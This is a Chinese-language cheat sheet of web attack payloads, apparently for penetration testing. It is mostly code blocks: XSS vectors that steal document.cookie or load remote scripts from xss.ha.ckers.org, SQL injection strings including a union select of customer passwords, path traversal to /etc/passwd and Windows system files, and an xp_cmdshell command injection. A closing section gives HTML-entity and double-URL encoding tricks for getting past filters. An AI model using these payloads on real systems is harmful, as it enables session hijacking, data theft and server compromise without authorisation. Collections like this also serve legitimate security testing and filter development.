XSS 测试语句及案例

```
XSS测试语句
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>



'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID=
{SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.
cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
```

```
<IMG
src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}
</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js">
</SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
```

```
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
```

xss绕过编码方式

HTML 实体编码
命名实体：以&开始，以分号结束。例如"<" 的HTML实体编码为"< " 字符编码：十进制、十六进制ASCII码活Unicode字符编码，样式为"&#数值;",例如"<"可以编成"&＃060;"

URL编码
这里的U也编码，也是两次URL全编码的结果。如果 alert被过滤，结为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。 在使用xss编码测试时，需要考虑HTML渲染的顺序，特别是针对多种编码组合时，要选择合适的编码方式进行测试。